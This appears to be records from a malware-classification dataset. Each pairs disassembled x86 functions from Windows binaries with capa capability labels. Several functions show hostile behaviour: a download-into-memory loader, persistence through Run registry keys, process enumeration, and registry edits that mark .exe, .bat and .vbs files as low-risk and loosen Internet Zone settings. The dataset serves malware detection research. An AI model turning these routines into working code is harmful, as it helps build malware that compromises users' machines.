joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bf4b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x554bd9
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x5a4ca4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x48], ecx
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], eax
mov esi, dword [edi + 0x3c]
cmp dword [esi + 0x40], ebx
jne 0x4bf554
cmp dword [edi + 0x24], 3
jne 0x4bf554
cmp dword [esi + 0x38], ebx
jne 0x4bf554
cmp dword [esi + 0x28], ebx
jne 0x4bf554
cmp dword [esi + 0x30], ebx
jne 0x4bf554
cmp dword [esi + 0x18], 2
jne 0x4bf554
push ebx
push dword [edi]
lea eax, [ebp - 0x40]
push eax
call fcn.004bdee0
push str.Entry
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x50], 1
call fcn.00483320
push eax
push dword [esi]
mov ebx, 3
call fcn.004a2110
add esp, 0x20
test al, al
jne 0x4bf554
mov eax, dword [edi + 0x30]
mov byte [ebp - 0x41], 0
cmp eax, dword [esi + 0xc]
je 0x4bf558
mov byte [ebp - 0x41], 1
invalid
Function at 0x4cf360
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5556e0
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x5a4ca4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.004d3be0
dec eax
cmp eax, 9
ja case.default.0x4cf39a
jmp dword [eax*4 + 0x4cf50c]
push 0x6bd
push str.C:Users_testerDesktopprotobuf_cpp_3.2.0protobuf_3.2.0_srcgoogle_protobuf_map.h
push 3
lea ecx, [ebp - 0x34]
call fcn.004981f0
push str.Unsupported
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.00498560
push eax
lea ecx, [ebp - 0x59]
call fcn.00498350
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0xffffffff
call fcn.004982d0
push 0x6cc
push str.C:Users_testerDesktopprotobuf_cpp_3.2.0protobuf_3.2.0_srcgoogle_protobuf_map.h
push 3
lea ecx, [ebp - 0x58]
call fcn.004981f0
push str.Cant_get_here.
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.00498560
push eax
lea ecx, [ebp - 0x5a]
call fcn.00498350
lea ecx, [ebp - 0x58]
call fcn.004982d0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050970c
mov esp, ebp
pop ebp
ret 4
mov ecx, esi
call fcn.004d0300
mov edi, eax
cmp dword [edi + 0x14], 0x10
jb 0x4cf448
mov edi, dword [edi]
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cf450
sub ecx, edx
mov esi, 0x811c9dc5
mov edx, 0
je 0x4cf476
movzx eax, byte [edx + edi]
inc edx
xor eax, esi
imul esi, eax, 0x1000193
cmp edx, ecx
jb 0x4cf465
push 0x1f31d
and esi, 0x7fffffff
push esi
call fcn.00533a26
imul edx, edx, 0x41a7
add esp, 8
imul ecx, eax, 0xb14
sub edx, ecx
jns 0x4cf4a0
add edx, 0x7fffffff
mov eax, edx
jmp 0x4cf41a
mov ecx, esi
call fcn.004d0090
xor eax, 0xdeadbeef
and eax, 0x7fffffff
push 0x1f31d
push eax
call fcn.00533a26
imul edx, edx, 0x41a7
add esp, 8
imul ecx, eax, 0xb14
sub edx, ecx
jns 0x4cf4a0
add edx, 0x7fffffff
mov eax, edx
jmp 0x4cf41a
mov ecx, esi
call fcn.004cffa0
jmp 0x4cf4ae
mov ecx, esi
call fcn.004d04e0
jmp 0x4cf4ae
mov ecx, esi
call fcn.004d03f0
jmp 0x4cf4ae
mov ecx, esi
call fcn.004cfeb0
movzx eax, al
jmp 0x4cf4ae
Function at 0x4e4800
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [ebp - 8], esi
mov edi, dword [esi + 0x14]
test edi, edi
jle 0x4e4842
mov edx, dword [esi + 0x1c]
xor ecx, ecx
nop dword [eax]
mov eax, dword [edx + ecx*4 + 4]
cmp dword [eax + 0x14], 0x10
mov dword [eax + 0x10], 0
jb 0x4e4833
mov eax, dword [eax]
inc ecx
mov byte [eax], 0
cmp ecx, edi
jl 0x4e4820
mov dword [esi + 0x14], 0
push ebx
mov dword [esi + 0x20], 0
mov dword [esi + 0x2c], 0
mov ebx, dword [esi + 0x3c]
test ebx, ebx
jle 0x4e4878
mov eax, dword [esi + 0x44]
xor edi, edi
mov esi, eax
nop
mov ecx, dword [esi + edi*4 + 4]
call fcn.004e4190
inc edi
cmp edi, ebx
jl 0x4e4860
mov esi, dword [ebp - 8]
mov dword [esi + 0x3c], 0
mov ebx, dword [esi + 0x4c]
test ebx, ebx
jle 0x4e48a8
mov eax, dword [esi + 0x54]
xor edi, edi
mov dword [ebp - 4], eax
mov esi, eax
nop dword [eax]
mov ecx, dword [esi + edi*4 + 4]
call fcn.004e4440
inc edi
cmp edi, ebx
jl 0x4e4890
mov esi, dword [ebp - 8]
mov dword [esi + 0x4c], 0
mov ebx, dword [esi + 0x5c]
test ebx, ebx
jle 0x4e48d8
mov eax, dword [esi + 0x64]
xor edi, edi
mov dword [ebp - 4], eax
mov esi, eax
nop dword [eax]
mov ecx, dword [esi + edi*4 + 4]
call fcn.004e4ef0
inc edi
cmp edi, ebx
jl 0x4e48c0
mov esi, dword [ebp - 8]
mov dword [esi + 0x5c], 0
mov ebx, dword [esi + 0x6c]
test ebx, ebx
jle 0x4e4908
mov eax, dword [esi + 0x74]
xor edi, edi
mov dword [ebp - 4], eax
mov esi, eax
nop dword [eax]
mov ecx, dword [esi + edi*4 + 4]
call fcn.004e4670
inc edi
cmp edi, ebx
jl 0x4e48f0
mov esi, dword [ebp - 8]
mov dword [esi + 0x6c], 0
mov ecx, dword [esi + 8]
pop ebx
test cl, 0x1f
je 0x4e49a0
test cl, 1
je 0x4e4932
mov eax, dword [esi + 0x78]
cmp dword [eax + 0x14], 0x10
mov dword [eax + 0x10], 0
jb 0x4e492c
mov eax, dword [eax]
mov byte [eax], 0
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 1
test al, 1
je 0x4e4952
mov eax, dword [esi + 0x7c]
cmp dword [eax + 0x14], 0x10
mov dword [eax + 0x10], 0
jb 0x4e494c
mov eax, dword [eax]
mov byte [eax], 0
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 2
test al, 1
je 0x4e4976
mov eax, dword [esi + 0x80]
cmp dword [eax + 0x14], 0x10
mov dword [eax + 0x10], 0
jb 0x4e4970
mov eax, dword [eax]
mov byte [eax], 0
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 3
test al, 1
je 0x4e498d
mov ecx, dword [esi + 0x84]
call fcn.004e4a30
mov ecx, dword [esi + 8]
shr ecx, 4
test cl, 1
je 0x4e49a0
mov ecx, dword [esi + 0x88]
call fcn.004e4f80
mov dword [esi + 8], 0
test byte [esi + 4], 1
je 0x4e49bd
mov ecx, dword [esi + 4]
and ecx, 0xfffffffe
cmp dword [ecx], 0
je 0x4e49bd
call fcn.004a09d0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x50cc25
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x527513
Capabilities:
Hash data using murmur3

Disassembly:
call fcn.0049b3e3
neg esi
add ecx, esp
sub dword [0x5c02ad], 0x75f52278
neg ecx
xor esi, 0xabb44a64
xchg ebx, esi
ror edx, 0x17
add ecx, eax
xor ebx, 0xf6992abf
inc esi
not eax
dec ebx
ror edi, 2
not edx
rol ebx, 6
xor edi, 0xab75b496
xor edi, dword [0x5c0a59]
xor esi, 0xc6ae033d
xor ecx, 0x6d97752b
sub edi, ecx
add ecx, ebp
call fcn.0043e289
call fcn.0050e4ed
sub ecx, ebp
add edi, ecx
xor ecx, 0x6d97752b
xor esi, 0xc6ae033d
xor edi, 0xab75b496
ror ebx, 6
not edx
rol edi, 2
inc ebx
not eax
dec esi
sub ebx, 0x7e5b0107
not ecx
add ecx, eax
dec eax
call fcn.004acf92
add esi, dword [0x5c0f00]
neg esi
or dword [0x5c0490], 0xe74e08ae
call fcn.004db4ff
ror esi, 0x19
xor ebx, ecx
sub esi, dword [0x5c0a61]
xor dword [0x5c04d6], ebx
mov dword [0x5c03a4], esi
ror ecx, 0x1e
xor ebx, dword [0x5c0d85]
not esi
dec eax
xchg edi, edx
xor eax, esi
ror ebx, 0x17
rol ebx, 0x17
xor eax, esi
xchg edi, edx
inc eax
not esi
rol ecx, 0x1e
sub dword [0x5c0272], ecx
xor ebx, ecx
rol esi, 0x19
neg esi
call fcn.004ba64a
inc eax
sub ecx, eax
not ecx
push ebx
mov dword [0x5c04ff], 0xf7d21a54
xor ebx, dword [0x5c0a4f]
call fcn.004b0fe1
dec esi
not esi
invalid
invalid
das

Function at 0x527620
Capabilities:
Hash data using murmur3

Disassembly:
sub al, 0x79
imul eax, dword [ebx], 0x5c0bff05
add byte [ebx], dh
retf 0xd0b
Function at 0x527786
Capabilities:
Hash data using murmur3

Disassembly:
dec edx
or edx, dword [0x5c0993]
or esi, dword [0x5c0cf3]
xchg ecx, eax
ror esi, 5
add edi, 0xca4b9f91
sub ecx, ebp
or ecx, dword [0x5c0aaa]
add edi, 0x31c7ccff
call fcn.00451dce
call fcn.0045d3bc
call fcn.004a048f
call fcn.004e6c3d
sub edi, 0x31c7ccff
add ecx, ebp
sub edi, 0xca4b9f91
rol esi, 5
xchg ecx, eax
inc edx
xchg edi, esi
rol edx, 0xc
add edi, edx
sub eax, 0xc68e2fd0
add edi, edx
cli
add dword [0x5c0494], ebx
sub eax, ebx
push ebx
or esi, dword [0x5c0b31]
rol edx, 0xc
not edi
call fcn.00487f9b
sub edi, dword [0x5c0b71]
add dword [0x5c03ef], edx
xor eax, 0x22a9ba5c
rol ecx, 0x11
sub edx, dword [0x5c0de9]
rol esi, 0x14
add dword [0x5c08d0], edx
sub eax, 0x9e91ee9c
neg esi
xchg edi, eax
dec edi
call fcn.00536095
inc edi
xchg edi, eax
neg esi
add eax, 0x9e91ee9c
and dword [0x5c046c], edx
ror esi, 0x14
ror ecx, 0x11
xor eax, 0x22a9ba5c
xor dword [0x5c041e], ebx
not edi
ror edx, 0xc
mov edx, 0xa9d82a03
dec edi
ror eax, 0xd
xor edx, dword [0x5c0c0c]
add dword [0x5c04f3], edi
rol edx, 0x12
sub ebx, dword [0x5c0e95]
add ecx, ebx
call fcn.004e4b84
or ecx, dword [0x5c0bba]
and dword [0x5c07ae], edi
or dword [0x5c03e2], ecx
xor edx, 0x62e33c7a
dec ebx
sub edi, dword [0x5c0d71]
call fcn.00448aad
sub ebx, 0xbf7c2793
add ebx, 0xbf7c2793
call fcn.00468dd9
inc ebx
xor edx, 0x62e33c7a
mov dword [0x5c0350], ebx
mov dword [0x5c0557], ecx
call fcn.004ac1b3
sub ecx, ebx
ror edx, 0x12
rol eax, 0xd
inc edi
xor edx, 0x6eba386f
rol ebx, 7
sub edi, 0xb3041517
xchg ebx, edx
add esi, 0xb913677
dec eax
sub dword [0x5c04d8], ecx
sub dword [0x5c06f7], 0xd1b173c4
sub dword [0x5c06f4], eax
add eax, 0x5c06f4
xchg eax, esi
or eax, dword [0x5c0f6a]
sub esi, 0x723587ea
ror edi, 6
neg ebx
add eax, edx
call fcn.00416ab3
ror ebx, 3
or eax, dword [0x5c0fa8]
xchg eax, edx
add esi, ecx
call fcn.004c535d
call fcn.004b87ad
sub esi, ecx
xchg eax, edx
rol ebx, 3
call fcn.00495a90
sub eax, edx
neg ebx
rol edi, 6
add esi, 0x723587ea
xchg eax, esi
or dword [0x5c02cf], ecx
sub dword [0x5c08e2], 0x1b589dac
or dword [0x5c03ec], ebx
inc eax
sub esi, 0xb913677
xchg ebx, edx
add edi, 0xb3041517
Function at 0x527afe
Capabilities:
Hash data using murmur3

Disassembly:
push cs
rol dword [edi + 0x7216e8d0], 1
shr al, 1
push ss
jb 0x527afb
shr al, 1
push ss
jb 0x527afb
inc dword [ecx + 0x5c083f0d]
add byte [ebp - 0x7c], dl
mov ebx, dword [esi]
Function at 0x53eec0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0053ed36

Function at 0x100338e9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x10033f76
mov dword [ebp], eax
push ebx
push dword [esp]
pushfd
push dword [esp + 4]
lea esp, [esp + 0x50]
jmp fcn.100350a0
Function at 0x401fc0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push 0x9c
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
push 0x24
push 0
lea ecx, [ebp - 0x50]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x2c], 0x9c
cmp dword [0x407af0], 1
jne 0x402021
push str.GetNativeSystemInfo
push 0x40649c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0x70], eax
lea edx, [ebp - 0x50]
push edx
call dword [ebp + 0x70]
jmp 0x40202b
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x28], 5
jne 0x402055
cmp dword [ebp - 0x24], 0
jne 0x402055
push str.Windows_2000
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x402075
cmp dword [ebp - 0x24], 1
jne 0x402075
push str.Windows_XP
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x40210c
cmp dword [ebp - 0x24], 2
jne 0x40210c
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
jne 0x4020af
movzx edx, word [ebp - 0x50]
cmp edx, 9
jne 0x4020af
push str.Windows_XP_Professional_x64
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x4020cf
push str.Windows_Server_2003
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, word [ebp + 0x6c]
and edx, 0x8000
jne 0x4020ef
push str.Windows_Home_Server
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40210c
push str.Windows_Server_2003_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40214c
cmp dword [ebp - 0x24], 0
jne 0x40214c
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x402132
push str.Windows_Vista
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
je 0x40214c
push str.Windows_Server_2008
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40218a
cmp dword [ebp - 0x24], 1
jne 0x40218a
movzx eax, byte [ebp + 0x6e]
cmp eax, 1
je 0x402172
push str.Windows_Server_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x40218a
push str.Windows_7
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0x74
mov esp, ebp
pop ebp
ret
Function at 0x402200
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push 0x128
push 0
lea eax, [ebp - 0x140]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x140], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0x1000
mov eax, dword [ebp - 0xc]
push eax
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x18], 0
push 0x104
push 0
lea ecx, [ebp - 0x244]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x11c]
push edx
push 0x40656c
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jbe 0x402324
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
push eax
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x18], 0
je 0x402345
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40227b
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4024b0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407af4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401940
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00401290
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.00402670
add esp, 8
test eax, eax
jne 0x40251b
xor eax, eax
jmp 0x402669
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402450
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [0x407a8c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402606
cmp dword [ebp - 0xc], 0
je 0x402606
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
jmp 0x40259a
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004016f0
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov edx, dword [ebp - 4]
push edx
push 0x407380
mov eax, dword [ebp - 0x14]
push eax
call fcn.004014d0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [0x407a8c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402ad0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0x25
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402b5f
lea ecx, [ebp - 8]
push ecx
push 0x407ac0
push 0
push 0
push 0x406758
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402b5f
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ecx + 0x407ac0]
test edx, edx
je 0x402b5f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x25
push 0x4075c0
push 0x407ac0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, 1
jmp 0x402b6b
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402b70
Capabilities:
Copy file
Create directory
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov dword [ebp - 0xc], 0
push 4
lea eax, [ebp - 0x1c]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x224]
push ecx
push 0x40680c
push 0x407620
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push 0x407620
push 0x407840
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x407840
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x407ac0
call fcn.004013e0
add esp, 4
push 0x4a
push 0x4075c0
push 0xffffffffffffffff
push 0x407ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x407ac0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [ebp - 8]
push edx
push 0x407ac0
push 1
push 0
push 0x406758
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push 0x4067a4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402c9e
mov dword [ebp - 0xc], 1
jmp 0x402cbf
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4067a4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402cbf
jmp 0x402d3c
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
push 0x407620
push 1
push 0
push 0x4075c0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], 0
je 0x402d3c
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push 0x4067d4
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [ebp - 8]
push edx
push 0x407620
push 1
push 0
push 0x4075c0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402e90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str..exe_.bat_.reg_.vbs_
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10], eax
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
push 1
push 0
push str.LowRiskFileTypes
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x406898
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push 0x4068dc
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402f86
push 4
lea edx, [ebp - 0xc]
push edx
push 4
push 0
push str.1806
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret